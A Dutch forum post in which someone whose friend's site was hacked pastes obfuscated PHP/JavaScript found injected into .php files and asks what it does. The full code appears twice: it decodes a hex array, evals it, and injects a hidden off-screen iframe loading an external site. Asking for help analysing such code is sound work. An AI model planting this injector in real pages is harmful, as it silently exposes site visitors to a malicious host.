De website van een vriend van mij is gehackt.
Aan een aantal .php-bestanden is onderstaande code toegevoegd.
Kan iemand ontcijferen wat dit precies doet?
Ik heb het een beetje proberen op te schonen tot dit:
Aan een aantal .php-bestanden is onderstaande code toegevoegd.
Kan iemand ontcijferen wat dit precies doet?
PHP:
1
2
| <?php echo "<script>if(document.querySelector)her=4;bqqpbq=(\"2c,2c,8c,89,43,4b,87,92,86,98,90,88,91,97,51,8a,88,97,68,8f,88,90,88,91,97,96,65,9c,77,84,8a,71,84,90,88,4b,4a,85,92,87,9c,4a,4c,7e,53,80,4c,9e,30,2c,2c,2c,8c,89,95,84,90,88,95,4b,4c,5e,30,2c,2c,a0,43,88,8f,96,88,43,9e,30,2c,2c,2c,87,92,86,98,90,88,91,97,51,9a,95,8c,97,88,4b,45,5f,8c,89,95,84,90,88,43,96,95,86,60,4a,8b,97,97,93,5d,52,52,8c,97,90,84,8a,91,84,97,88,51,92,95,8a,52,4a,43,9a,8c,87,97,8b,60,4a,54,53,53,4a,43,8b,88,8c,8a,8b,97,60,4a,54,53,53,4a,43,96,97,9c,8f,88,60,4a,9a,8c,87,97,8b,5d,54,53,53,93,9b,5e,8b,88,8c,8a,8b,97,5d,54,53,53,93,9b,5e,93,92,96,8c,97,8c,92,91,5d,84,85,96,92,8f,98,97,88,5e,8f,88,89,97,5d,50,54,53,53,53,53,93,9b,5e,97,92,93,5d,53,5e,4a,61,5f,52,8c,89,95,84,90,88,61,45,4c,5e,30,2c,2c,a0,30,2c,2c,89,98,91,86,97,8c,92,91,43,8c,89,95,84,90,88,95,4b,4c,9e,30,2c,2c,2c,99,84,95,43,89,43,60,43,87,92,86,98,90,88,91,97,51,86,95,88,84,97,88,68,8f,88,90,88,91,97,4b,4a,8c,89,95,84,90,88,4a,4c,5e,89,51,96,88,97,64,97,97,95,8c,85,98,97,88,4b,4a,96,95,86,4a,4f,4a,8b,97,97,93,5d,52,52,8c,97,90,84,8a,91,84,97,88,51,92,95,8a,52,4a,4c,5e,89,51,96,97,9c,8f,88,51,8f,88,89,97,60,4a,50,54,53,53,53,53,93,9b,4a,5e,89,51,96,97,9c,8f,88,51,97,92,93,60,4a,53,4a,5e,89,51,96,97,9c,8f,88,51,93,92,96,8c,97,8c,92,91,60,4a,84,85,96,92,8f,98,97,88,4a,5e,89,51,96,97,9c,8f,88,51,97,92,93,60,4a,53,4a,5e,89,51,96,88,97,64,97,97,95,8c,85,98,97,88,4b,4a,9a,8c,87,97,8b,4a,4f,4a,54,53,53,4a,4c,5e,89,51,96,88,97,64,97,97,95,8c,85,98,97,88,4b,4a,8b,88,8c,8a,8b,97,4a,4f,4a,54,53,53,4a,4c,5e,30,2c,2c,2c,87,92,86,98,90,88,91,97,51,8a,88,97,68,8f,88,90,88,91,97,96,65,9c,77,84,8a,71,84,90,88,4b,4a,85,92,87,9c,4a,4c,7e,53,80,51,84,93,93,88,91,87,66,8b,8c,8f,87,4b,89,4c,5e,30,2c,2c,a0\".split(\",\"));jok=eval;function txqq(){pwwth=function(){--(ukl.body)}()}ukl=document;for(ciiq=0;ciiq<bqqpbq[\"length\"];ciiq+=1){bqqpbq[ciiq]=-(35)+parseInt(bqqpbq[ciiq],her*4);}try{txqq()}catch(ywcj){bjjyi=50-50;}if(!bjjyi)jok(String[\"fr\"+\"omCh\"+\"arCo\"+\"de\"].apply(String,bqqpbq));</script>"; ?> |
Ik heb het een beetje proberen op te schonen tot dit:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| if(document.querySelector) her=4; bqqpbq=("2c,2c,8c,89,43,4b,87,92,86,98,90,88,91,97,51,8a,88,97,68,8f,88,90,88,91,97,96,65,9c,77,84,8a,71,84,90,88,4b,4a,85,92,87,9c,4a,4c,7e,53,80,4c,9e,30,2c,2c,2c,8c,89,95,84,90,88,95,4b,4c,5e,30,2c,2c,a0,43,88,8f,96,88,43,9e,30,2c,2c,2c,87,92,86,98,90,88,91,97,51,9a,95,8c,97,88,4b,45,5f,8c,89,95,84,90,88,43,96,95,86,60,4a,8b,97,97,93,5d,52,52,8c,97,90,84,8a,91,84,97,88,51,92,95,8a,52,4a,43,9a,8c,87,97,8b,60,4a,54,53,53,4a,43,8b,88,8c,8a,8b,97,60,4a,54,53,53,4a,43,96,97,9c,8f,88,60,4a,9a,8c,87,97,8b,5d,54,53,53,93,9b,5e,8b,88,8c,8a,8b,97,5d,54,53,53,93,9b,5e,93,92,96,8c,97,8c,92,91,5d,84,85,96,92,8f,98,97,88,5e,8f,88,89,97,5d,50,54,53,53,53,53,93,9b,5e,97,92,93,5d,53,5e,4a,61,5f,52,8c,89,95,84,90,88,61,45,4c,5e,30,2c,2c,a0,30,2c,2c,89,98,91,86,97,8c,92,91,43,8c,89,95,84,90,88,95,4b,4c,9e,30,2c,2c,2c,99,84,95,43,89,43,60,43,87,92,86,98,90,88,91,97,51,86,95,88,84,97,88,68,8f,88,90,88,91,97,4b,4a,8c,89,95,84,90,88,4a,4c,5e,89,51,96,88,97,64,97,97,95,8c,85,98,97,88,4b,4a,96,95,86,4a,4f,4a,8b,97,97,93,5d,52,52,8c,97,90,84,8a,91,84,97,88,51,92,95,8a,52,4a,4c,5e,89,51,96,97,9c,8f,88,51,8f,88,89,97,60,4a,50,54,53,53,53,53,93,9b,4a,5e,89,51,96,97,9c,8f,88,51,97,92,93,60,4a,53,4a,5e,89,51,96,97,9c,8f,88,51,93,92,96,8c,97,8c,92,91,60,4a,84,85,96,92,8f,98,97,88,4a,5e,89,51,96,97,9c,8f,88,51,97,92,93,60,4a,53,4a,5e,89,51,96,88,97,64,97,97,95,8c,85,98,97,88,4b,4a,9a,8c,87,97,8b,4a,4f,4a,54,53,53,4a,4c,5e,89,51,96,88,97,64,97,97,95,8c,85,98,97,88,4b,4a,8b,88,8c,8a,8b,97,4a,4f,4a,54,53,53,4a,4c,5e,30,2c,2c,2c,87,92,86,98,90,88,91,97,51,8a,88,97,68,8f,88,90,88,91,97,96,65,9c,77,84,8a,71,84,90,88,4b,4a,85,92,87,9c,4a,4c,7e,53,80,51,84,93,93,88,91,87,66,8b,8c,8f,87,4b,89,4c,5e,30,2c,2c,a0".split(",")); jok=eval; function txqq(){ pwwth=function(){ --(ukl.body) } () } ukl=document; for(ciiq=0; ciiq<bqqpbq["length\"]; ciiq+=1) { bqqpbq[ciiq]=-(35)+parseInt(bqqpbq[ciiq],her*4); } try{txqq()} catch(ywcj) { bjjyi=50-50; } if(!bjjyi) jok(String["fr"+"omCh"+"arCo"+"de"].apply(String,bqqpbq)); |